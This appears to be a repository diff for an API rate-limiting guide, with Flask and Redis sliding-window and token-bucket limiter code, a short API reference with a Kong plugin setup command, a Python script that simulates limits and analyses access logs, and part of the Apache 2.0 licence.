||||
"per_ip": {"requests": 1000, "window_seconds": 60, "by": "ip"},
|
||||
"per_user": {"requests": 5000, "window_seconds": 3600, "by": "user"},
|
||||
},
|
||||
}
|
||||
```
|
||||
|
||||
### Step 2: Sliding Window Rate Limiter (Redis)
|
||||
|
||||
```python
|
||||
import redis
|
||||
import time
|
||||
import hashlib
|
||||
from functools import wraps
|
||||
from flask import Flask, request, jsonify, g
|
||||
|
||||
app = Flask(__name__)
|
||||
redis_client = redis.Redis(host='localhost', port=6379, db=0, decode_responses=True)
|
||||
|
||||
class SlidingWindowRateLimiter:
|
||||
"""Sliding window rate limiter using Redis sorted sets."""
|
||||
|
||||
def __init__(self, redis_conn):
|
||||
self.redis = redis_conn
|
||||
|
||||
def is_allowed(self, key, max_requests, window_seconds):
|
||||
"""Check if request is allowed and record it."""
|
||||
now = time.time()
|
||||
window_start = now - window_seconds
|
||||
pipe = self.redis.pipeline()
|
||||
|
||||
# Remove expired entries
|
||||
pipe.zremrangebyscore(key, 0, window_start)
|
||||
# Count requests in current window
|
||||
pipe.zcard(key)
|
||||
# Add current request
|
||||
pipe.zadd(key, {f"{now}:{hashlib.md5(str(now).encode()).hexdigest()[:8]}": now})
|
||||
# Set TTL on the key
|
||||
pipe.expire(key, window_seconds + 1)
|
||||
|
||||
results = pipe.execute()
|
||||
current_count = results[1]
|
||||
|
||||
if current_count >= max_requests:
|
||||
# Calculate retry-after
|
||||
oldest = self.redis.zrange(key, 0, 0, withscores=True)
|
||||
if oldest:
|
||||
retry_after = int(oldest[0][1] + window_seconds - now) + 1
|
||||
else:
|
||||
retry_after = window_seconds
|
||||
return False, current_count, max_requests, retry_after
|
||||
|
||||
return True, current_count + 1, max_requests, 0
|
||||
|
||||
rate_limiter = SlidingWindowRateLimiter(redis_client)
|
||||
|
||||
def rate_limit(max_requests, window_seconds, key_func=None):
|
||||
"""Decorator for rate limiting API endpoints."""
|
||||
def decorator(f):
|
||||
@wraps(f)
|
||||
def wrapped(*args, **kwargs):
|
||||
# Determine the rate limit key
|
||||
if key_func:
|
||||
identifier = key_func()
|
||||
elif hasattr(g, 'user_id'):
|
||||
identifier = f"user:{g.user_id}"
|
||||
else:
|
||||
identifier = f"ip:{request.remote_addr}"
|
||||
|
||||
key = f"ratelimit:{request.endpoint}:{identifier}"
|
||||
allowed, current, limit, retry_after = rate_limiter.is_allowed(
|
||||
key, max_requests, window_seconds)
|
||||
|
||||
# Always set rate limit headers
|
||||
headers = {
|
||||
"X-RateLimit-Limit": str(limit),
|
||||
"X-RateLimit-Remaining": str(max(0, limit - current)),
|
||||
"X-RateLimit-Reset": str(int(time.time()) + window_seconds),
|
||||
}
|
||||
|
||||
if not allowed:
|
||||
headers["Retry-After"] = str(retry_after)
|
||||
response = jsonify({
|
||||
"error": "rate_limit_exceeded",
|
||||
"message": "Too many requests. Please try again later.",
|
||||
"retry_after": retry_after
|
||||
})
|
||||
response.status_code = 429
|
||||
for h, v in headers.items():
|
||||
response.headers[h] = v
|
||||
return response
|
||||
|
||||
response = f(*args, **kwargs)
|
||||
for h, v in headers.items():
|
||||
response.headers[h] = v
|
||||
return response
|
||||
return wrapped
|
||||
return decorator
|
||||
|
||||
# Apply rate limiting to endpoints
|
||||
@app.route('/api/v1/auth/login', methods=['POST'])
|
||||
@rate_limit(max_requests=5, window_seconds=60,
|
||||
key_func=lambda: f"ip:{request.remote_addr}")
|
||||
def login():
|
||||
# Login logic
|
||||
return jsonify({"message": "Login successful"})
|
||||
|
||||
@app.route('/api/v1/users/me', methods=['GET'])
|
||||
@rate_limit(max_requests=60, window_seconds=60)
|
||||
def get_profile():
|
||||
# Profile logic
|
||||
return jsonify({"user": "data"})
|
||||
|
||||
@app.route('/api/v1/search', methods=['GET'])
|
||||
@rate_limit(max_requests=10, window_seconds=60)
|
||||
def search():
|
||||
# Search logic
|
||||
return jsonify({"results": []})
|
||||
```
|
||||
|
||||
### Step 3: Token Bucket Rate Limiter
|
||||
|
||||
```python
|
||||
import redis
|
||||
import time
|
||||
|
||||
class TokenBucketRateLimiter:
|
||||
"""Token bucket rate limiter allowing burst traffic within limits."""
|
||||
|
||||
def __init__(self, redis_conn):
|
||||
self.redis = redis_conn
|
||||
|
||||
def is_allowed(self, key, max_tokens, refill_rate, refill_interval=1):
|
||||
"""
|
||||
Token bucket algorithm:
|
||||
- max_tokens: Maximum burst capacity
|
||||
- refill_rate: Tokens added per refill_interval
|
||||
- refill_interval: Seconds between refills
|
||||
"""
|
||||
now = time.time()
|
||||
bucket_key = f"tb:{key}"
|
||||
|
||||
# Lua script for atomic token bucket operation
|
||||
lua_script = """
|
||||
local key = KEYS[1]
|
||||
local max_tokens = tonumber(ARGV[1])
|
||||
local refill_rate = tonumber(ARGV[2])
|
||||
local refill_interval = tonumber(ARGV[3])
|
||||
local now = tonumber(ARGV[4])
|
||||
|
||||
local bucket = redis.call('hmget', key, 'tokens', 'last_refill')
|
||||
local tokens = tonumber(bucket[1])
|
||||
local last_refill = tonumber(bucket[2])
|
||||
|
||||
if tokens == nil then
|
||||
tokens = max_tokens
|
||||
last_refill = now
|
||||
end
|
||||
|
||||
-- Refill tokens
|
||||
local elapsed = now - last_refill
|
||||
local refills = math.floor(elapsed / refill_interval)
|
||||
if refills > 0 then
|
||||
tokens = math.min(max_tokens, tokens + (refills * refill_rate))
|
||||
last_refill = last_refill + (refills * refill_interval)
|
||||
end
|
||||
|
||||
local allowed = 0
|
||||
if tokens >= 1 then
|
||||
tokens = tokens - 1
|
||||
allowed = 1
|
||||
end
|
||||
|
||||
redis.call('hmset', key, 'tokens', tokens, 'last_refill', last_refill)
|
||||
redis.call('expire', key, math.ceil(max_tokens / refill_rate * refill_interval) + 10)
|
||||
|
||||
return {allowed, tokens, max_tokens}
|
||||
"""
|
||||
|
||||
result = self.redis.eval(lua_script, 1, bucket_key,
|
||||
max_tokens, refill_rate, refill_interval, now)
|
||||
allowed = bool(result[0])
|
||||
remaining = int(result[1])
|
||||
limit = int(result[2])
|
||||
|
||||
return allowed, remaining, limit
|
||||
```
|
||||
|
||||
### Step 4: Tiered Rate Limiting with User Plans
|
||||
|
||||
```python
|
||||
from enum import Enum
|
||||
|
||||
class UserTier(Enum):
|
||||
FREE = "free"
|
||||
PREMIUM = "premium"
|
||||
ENTERPRISE = "enterprise"
|
||||
|
||||
TIER_LIMITS = {
|
||||
UserTier.FREE: {
|
||||
"default": (60, 60), # 60 req/min
|
||||
"search": (10, 60), # 10 req/min
|
||||
"export": (5, 3600), # 5 req/hour
|
||||
"daily_total": (1000, 86400), # 1000 req/day
|
||||
},
|
||||
UserTier.PREMIUM: {
|
||||
"default": (300, 60),
|
||||
"search": (50, 60),
|
||||
"export": (20, 3600),
|
||||
"daily_total": (10000, 86400),
|
||||
},
|
||||
UserTier.ENTERPRISE: {
|
||||
"default": (1000, 60),
|
||||
"search": (200, 60),
|
||||
"export": (100, 3600),
|
||||
"daily_total": (100000, 86400),
|
||||
},
|
||||
}
|
||||
|
||||
def get_rate_limit_for_request(user_tier, endpoint_category="default"):
|
||||
"""Get rate limit configuration based on user tier and endpoint."""
|
||||
tier_config = TIER_LIMITS.get(user_tier, TIER_LIMITS[UserTier.FREE])
|
||||
limit_config = tier_config.get(endpoint_category, tier_config["default"])
|
||||
return limit_config # (max_requests, window_seconds)
|
||||
|
||||
class TieredRateLimitMiddleware:
|
||||
"""Middleware that applies rate limits based on user subscription tier."""
|
||||
|
||||
def __init__(self, app, redis_conn):
|
||||
self.app = app
|
||||
self.limiter = SlidingWindowRateLimiter(redis_conn)
|
||||
|
||||
def __call__(self, environ, start_response):
|
||||
# Extract user info from request
|
||||
user_id = environ.get("HTTP_X_USER_ID")
|
||||
user_tier = UserTier(environ.get("HTTP_X_USER_TIER", "free"))
|
||||
endpoint = environ.get("PATH_INFO", "/")
|
||||
|
||||
# Determine endpoint category
|
||||
category = "default"
|
||||
if "/search" in endpoint:
|
||||
category = "search"
|
||||
elif "/export" in endpoint:
|
||||
category = "export"
|
||||
|
||||
max_requests, window = get_rate_limit_for_request(user_tier, category)
|
||||
key = f"tiered:{user_id or environ.get('REMOTE_ADDR')}:{category}"
|
||||
|
||||
allowed, current, limit, retry_after = self.limiter.is_allowed(
|
||||
key, max_requests, window)
|
||||
|
||||
if not allowed:
|
||||
status = "429 Too Many Requests"
|
||||
headers = [
|
||||
("Content-Type", "application/json"),
|
||||
("Retry-After", str(retry_after)),
|
||||
("X-RateLimit-Limit", str(limit)),
|
||||
("X-RateLimit-Remaining", "0"),
|
||||
]
|
||||
start_response(status, headers)
|
||||
body = f'{{"error":"rate_limit_exceeded","retry_after":{retry_after},"tier":"{user_tier.value}"}}'
|
||||
return [body.encode()]
|
||||
|
||||
return self.app(environ, start_response)
|
||||
```
|
||||
|
||||
### Step 5: Distributed Rate Limiting for Microservices
|
||||
|
||||
```python
|
||||
# Centralized rate limiting service using Redis Cluster
|
||||
import redis
|
||||
from redis.cluster import RedisCluster
|
||||
|
||||
class DistributedRateLimiter:
|
||||
"""Rate limiter for microservice architectures using Redis Cluster."""
|
||||
|
||||
def __init__(self):
|
||||
self.redis = RedisCluster(
|
||||
startup_nodes=[
|
||||
{"host": "redis-node-1", "port": 6379},
|
||||
{"host": "redis-node-2", "port": 6379},
|
||||
{"host": "redis-node-3", "port": 6379},
|
||||
],
|
||||
decode_responses=True
|
||||
)
|
||||
|
||||
def check_and_increment(self, service_name, user_id, endpoint,
|
||||
max_requests, window_seconds):
|
||||
"""Atomic check-and-increment using Redis Lua script."""
|
||||
key = f"rl:{{{service_name}}}:{user_id}:{endpoint}"
|
||||
|
||||
# Lua script ensures atomicity across the check and increment
|
||||
lua_script = """
|
||||
local key = KEYS[1]
|
||||
local max_requests = tonumber(ARGV[1])
|
||||
local window = tonumber(ARGV[2])
|
||||
local now = tonumber(ARGV[3])
|
||||
local window_start = now - window
|
||||
|
||||
-- Remove old entries
|
||||
redis.call('zremrangebyscore', key, '-inf', window_start)
|
||||
|
||||
-- Count current entries
|
||||
local count = redis.call('zcard', key)
|
||||
|
||||
if count >= max_requests then
|
||||
-- Get oldest entry for retry-after calculation
|
||||
local oldest = redis.call('zrange', key, 0, 0, 'WITHSCORES')
|
||||
local retry_after = 0
|
||||
if #oldest > 0 then
|
||||
retry_after = math.ceil(tonumber(oldest[2]) + window - now)
|
||||
end
|
||||
return {0, count, retry_after}
|
||||
end
|
||||
|
||||
-- Add new entry
|
||||
redis.call('zadd', key, now, now .. ':' .. math.random(100000))
|
||||
redis.call('expire', key, window + 1)
|
||||
|
||||
return {1, count + 1, 0}
|
||||
"""
|
||||
|
||||
result = self.redis.eval(lua_script, 1, key,
|
||||
max_requests, window_seconds, time.time())
|
||||
return {
|
||||
"allowed": bool(result[0]),
|
||||
"current": int(result[1]),
|
||||
"retry_after": int(result[2]),
|
||||
}
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| **Sliding Window** | Rate limiting algorithm that tracks requests in a rolling time window, providing smoother rate enforcement than fixed windows |
|
||||
| **Token Bucket** | Algorithm where tokens are added at a fixed rate and consumed per request, allowing controlled bursts up to the bucket capacity |
|
||||
| **Fixed Window** | Simplest rate limiting where requests are counted per fixed time window (e.g., per minute), susceptible to burst at window boundaries |
|
||||
| **429 Too Many Requests** | HTTP status code indicating the client has exceeded the rate limit, accompanied by Retry-After header |
|
||||
| **Retry-After Header** | HTTP response header telling the client how many seconds to wait before retrying, essential for well-behaved API clients |
|
||||
| **Distributed Rate Limiting** | Rate limiting across multiple server instances using shared state (Redis, Memcached) to maintain accurate global counters |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **Redis**: In-memory data store used for distributed rate limit counters with atomic operations via Lua scripts
|
||||
- **Kong Rate Limiting Plugin**: API gateway plugin supporting fixed-window and sliding-window rate limiting with Redis backend
|
||||
- **express-rate-limit**: Express.js middleware for simple rate limiting with Redis, Memcached, or in-memory stores
|
||||
- **Flask-Limiter**: Flask extension for rate limiting with support for multiple backends and configurable limits per endpoint
|
||||
- **Envoy Rate Limit Service**: Centralized rate limiting service for Envoy-based service mesh architectures
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Implementing Rate Limiting for a Public API
|
||||
|
||||
**Context**: A company launches a public API with free, premium, and enterprise tiers. The API must protect against abuse while providing fair access to paying customers. The API runs on 6 instances behind an AWS ALB.
|
||||
|
||||
**Approach**:
|
||||
1. Deploy Redis Cluster (3 nodes) for distributed rate limit state
|
||||
2. Implement sliding window rate limiter using Redis sorted sets with Lua scripts for atomicity
|
||||
3. Configure per-tier limits: Free (60 req/min), Premium (300 req/min), Enterprise (1000 req/min)
|
||||
4. Add stricter limits on authentication endpoints (5 req/min per IP) regardless of tier
|
||||
5. Implement resource-intensive endpoint limits (search: 10 req/min free, export: 5 req/hour)
|
||||
6. Set rate limit response headers on every response (X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset)
|
||||
7. Return 429 with Retry-After header and JSON error body when limits are exceeded
|
||||
8. Set up Prometheus metrics for rate limit hits and CloudWatch alarms for unusual patterns
|
||||
|
||||
**Pitfalls**:
|
||||
- Using in-memory rate limiting without shared state across instances, allowing limit bypass by hitting different servers
|
||||
- Not implementing rate limiting on authentication endpoints separately from general API limits
|
||||
- Using fixed windows that allow burst at window boundaries (2x the limit in a short period)
|
||||
- Not including rate limit headers on successful responses, giving clients no visibility into their quota
|
||||
- Trusting X-Forwarded-For for IP identification without validating it against the load balancer
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
## Rate Limiting Implementation Report
|
||||
|
||||
**API**: Public API v2
|
||||
**Algorithm**: Sliding Window (Redis Sorted Sets)
|
||||
**Backend**: Redis Cluster (3 nodes)
|
||||
**Deployment**: 6 API instances behind AWS ALB
|
||||
|
||||
### Rate Limit Configuration
|
||||
|
||||
| Tier | Default | Search | Export | Auth (per IP) |
|
||||
|------|---------|--------|--------|---------------|
|
||||
| Free | 60/min | 10/min | 5/hour | 5/min |
|
||||
| Premium | 300/min | 50/min | 20/hour | 5/min |
|
||||
| Enterprise | 1000/min | 200/min | 100/hour | 10/min |
|
||||
|
||||
### Validation Results (k6 load test)
|
||||
|
||||
- Free tier: Rate limited at 61st request (correct)
|
||||
- Premium tier: Rate limited at 301st request (correct)
|
||||
- Cross-instance: Rate limiting consistent across all 6 instances
|
||||
- Redis failover: Rate limiting degrades gracefully (allows traffic) when Redis is unreachable
|
||||
- Retry-After header: Accurate within 1 second of actual reset time
|
||||
- Response overhead: < 2ms added latency per request for rate limit check
|
||||
```
|
||||
+65
@@ -0,0 +1,65 @@
|
||||
# API Reference: Implementing API Rate Limiting and Throttling
|
||||
|
||||
## Token Bucket Algorithm
|
||||
|
||||
```python
|
||||
import time
|
||||
class TokenBucket:
|
||||
def __init__(self, capacity, refill_rate):
|
||||
self.capacity = capacity
|
||||
self.tokens = capacity
|
||||
self.refill_rate = refill_rate # tokens/sec
|
||||
self.last_refill = time.time()
|
||||
|
||||
def allow(self):
|
||||
now = time.time()
|
||||
self.tokens = min(self.capacity,
|
||||
self.tokens + (now - self.last_refill) * self.refill_rate)
|
||||
self.last_refill = now
|
||||
if self.tokens >= 1:
|
||||
self.tokens -= 1
|
||||
return True
|
||||
return False
|
||||
```
|
||||
|
||||
## Redis Sliding Window
|
||||
|
||||
```python
|
||||
import redis, time
|
||||
r = redis.Redis()
|
||||
def check_rate(client_id, window=60, limit=100):
|
||||
key = f"rl:{client_id}"
|
||||
now = time.time()
|
||||
pipe = r.pipeline()
|
||||
pipe.zremrangebyscore(key, 0, now - window)
|
||||
pipe.zadd(key, {str(now): now})
|
||||
pipe.zcard(key)
|
||||
pipe.expire(key, window)
|
||||
_, _, count, _ = pipe.execute()
|
||||
return count <= limit
|
||||
```
|
||||
|
||||
## HTTP 429 Response Headers
|
||||
|
||||
| Header | Value | Description |
|
||||
|--------|-------|-------------|
|
||||
| `Retry-After` | `30` | Seconds until retry |
|
||||
| `X-RateLimit-Limit` | `100` | Max requests |
|
||||
| `X-RateLimit-Remaining` | `0` | Remaining requests |
|
||||
| `X-RateLimit-Reset` | epoch | Reset timestamp |
|
||||
|
||||
## Kong Rate Limiting Plugin
|
||||
|
||||
```bash
|
||||
curl -X POST http://localhost:8001/services/{id}/plugins \
|
||||
-d "name=rate-limiting" \
|
||||
-d "config.minute=100" \
|
||||
-d "config.policy=redis" \
|
||||
-d "config.redis_host=redis"
|
||||
```
|
||||
|
||||
### References
|
||||
|
||||
- Redis Rate Limiting: https://redis.io/glossary/rate-limiting/
|
||||
- IETF RateLimit Headers: https://datatracker.ietf.org/doc/draft-ietf-httpapi-ratelimit-headers/
|
||||
- Kong Rate Limiting: https://docs.konghq.com/hub/kong-inc/rate-limiting/
|
||||
@@ -0,0 +1,165 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Agent for implementing and testing API rate limiting and throttling."""
|
||||
|
||||
import json
|
||||
import argparse
|
||||
import time
|
||||
from datetime import datetime
|
||||
from collections import defaultdict, Counter
|
||||
|
||||
|
||||
class TokenBucket:
|
||||
"""In-memory token bucket rate limiter."""
|
||||
def __init__(self, max_tokens=100, refill_rate=10.0):
|
||||
self.max_tokens = max_tokens
|
||||
self.refill_rate = refill_rate
|
||||
self.buckets = {}
|
||||
|
||||
def allow(self, client_id):
|
||||
now = time.time()
|
||||
if client_id not in self.buckets:
|
||||
self.buckets[client_id] = {"tokens": self.max_tokens, "last": now}
|
||||
bucket = self.buckets[client_id]
|
||||
elapsed = now - bucket["last"]
|
||||
bucket["tokens"] = min(self.max_tokens, bucket["tokens"] + elapsed * self.refill_rate)
|
||||
bucket["last"] = now
|
||||
if bucket["tokens"] >= 1:
|
||||
bucket["tokens"] -= 1
|
||||
return True, {"remaining": int(bucket["tokens"]), "limit": self.max_tokens}
|
||||
return False, {"remaining": 0, "retry_after": round((1 - bucket["tokens"]) / self.refill_rate, 2)}
|
||||
|
||||
|
||||
class SlidingWindow:
|
||||
"""In-memory sliding window rate limiter."""
|
||||
def __init__(self, window_seconds=60, max_requests=100):
|
||||
self.window = window_seconds
|
||||
self.max_requests = max_requests
|
||||
self.requests = defaultdict(list)
|
||||
|
||||
def allow(self, client_id):
|
||||
now = time.time()
|
||||
cutoff = now - self.window
|
||||
self.requests[client_id] = [t for t in self.requests[client_id] if t > cutoff]
|
||||
current = len(self.requests[client_id])
|
||||
if current < self.max_requests:
|
||||
self.requests[client_id].append(now)
|
||||
return True, {"remaining": self.max_requests - current - 1, "window": self.window}
|
||||
return False, {"remaining": 0, "retry_after": round(self.requests[client_id][0] - cutoff, 2)}
|
||||
|
||||
|
||||
def analyze_rate_limit_effectiveness(log_path):
|
||||
"""Analyze API logs to assess rate limiting effectiveness."""
|
||||
ip_requests = Counter()
|
||||
ip_429s = Counter()
|
||||
endpoint_load = Counter()
|
||||
with open(log_path) as f:
|
||||
for line in f:
|
||||
try:
|
||||
entry = json.loads(line)
|
||||
except json.JSONDecodeError:
|
||||
continue
|
||||
ip = entry.get("client_ip", entry.get("ip", ""))
|
||||
status = int(entry.get("status_code", entry.get("status", 0)))
|
||||
endpoint = entry.get("path", entry.get("endpoint", ""))
|
||||
ip_requests[ip] += 1
|
||||
if status == 429:
|
||||
ip_429s[ip] += 1
|
||||
endpoint_load[endpoint] += 1
|
||||
findings = []
|
||||
for ip, total in ip_requests.most_common(20):
|
||||
rate_limited = ip_429s.get(ip, 0)
|
||||
if total > 1000 and rate_limited == 0:
|
||||
findings.append({
|
||||
"ip": ip, "total_requests": total, "rate_limited": 0,
|
||||
"issue": "high_volume_not_rate_limited", "severity": "HIGH",
|
||||
})
|
||||
elif rate_limited > 0 and rate_limited < total * 0.1:
|
||||
findings.append({
|
||||
"ip": ip, "total_requests": total, "rate_limited": rate_limited,
|
||||
"issue": "rate_limit_too_permissive", "severity": "MEDIUM",
|
||||
})
|
||||
return findings
|
||||
|
||||
|
||||
def simulate_rate_limit_test(algorithm="token_bucket", requests_count=200, rate=10):
|
||||
"""Simulate rate limiting to test configuration."""
|
||||
if algorithm == "token_bucket":
|
||||
limiter = TokenBucket(max_tokens=rate, refill_rate=rate / 60.0)
|
||||
else:
|
||||
limiter = SlidingWindow(window_seconds=60, max_requests=rate)
|
||||
allowed = 0
|
||||
denied = 0
|
||||
for i in range(requests_count):
|
||||
ok, _ = limiter.allow("test_client")
|
||||
if ok:
|
||||
allowed += 1
|
||||
else:
|
||||
denied += 1
|
||||
return {
|
||||
"algorithm": algorithm, "total_requests": requests_count,
|
||||
"allowed": allowed, "denied": denied,
|
||||
"effective_rate": round(allowed / requests_count * 100, 1),
|
||||
}
|
||||
|
||||
|
||||
def generate_rate_limit_recommendations(log_path):
|
||||
"""Generate rate limit recommendations from traffic patterns."""
|
||||
ip_rpm = defaultdict(int)
|
||||
endpoint_rpm = defaultdict(int)
|
||||
with open(log_path) as f:
|
||||
for line in f:
|
||||
try:
|
||||
entry = json.loads(line)
|
||||
except json.JSONDecodeError:
|
||||
continue
|
||||
ip = entry.get("client_ip", "")
|
||||
endpoint = entry.get("path", "")
|
||||
ip_rpm[ip] += 1
|
||||
endpoint_rpm[endpoint] += 1
|
||||
ip_values = sorted(ip_rpm.values())
|
||||
p95 = ip_values[int(len(ip_values) * 0.95)] if ip_values else 100
|
||||
p99 = ip_values[int(len(ip_values) * 0.99)] if ip_values else 200
|
||||
return {
|
||||
"global_rate_limit": p99 * 2,
|
||||
"per_ip_limit": p95 * 2,
|
||||
"auth_endpoint_limit": max(10, p95 // 10),
|
||||
"p95_requests_per_ip": p95,
|
||||
"p99_requests_per_ip": p99,
|
||||
}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="API Rate Limiting Agent")
|
||||
parser.add_argument("--action", choices=[
|
||||
"analyze", "simulate", "recommend", "full"
|
||||
], default="full")
|
||||
parser.add_argument("--log", help="API access log (JSON lines)")
|
||||
parser.add_argument("--algorithm", choices=["token_bucket", "sliding_window"],
|
||||
default="token_bucket")
|
||||
parser.add_argument("--output", default="rate_limiting_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}}
|
||||
|
||||
if args.action in ("analyze", "full") and args.log:
|
||||
f = analyze_rate_limit_effectiveness(args.log)
|
||||
report["findings"]["effectiveness"] = f
|
||||
print(f"[+] Rate limit issues: {len(f)}")
|
||||
|
||||
if args.action in ("simulate", "full"):
|
||||
result = simulate_rate_limit_test(args.algorithm)
|
||||
report["findings"]["simulation"] = result
|
||||
print(f"[+] Simulation: {result['allowed']}/{result['total_requests']} allowed")
|
||||
|
||||
if args.action in ("recommend", "full") and args.log:
|
||||
recs = generate_rate_limit_recommendations(args.log)
|
||||
report["findings"]["recommendations"] = recs
|
||||
print(f"[+] Recommended per-IP limit: {recs['per_ip_limit']}")
|
||||
|
||||
with open(args.output, "w") as fout:
|
||||
json.dump(report, fout, indent=2, default=str)
|
||||
print(f"[+] Report saved to {args.output}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
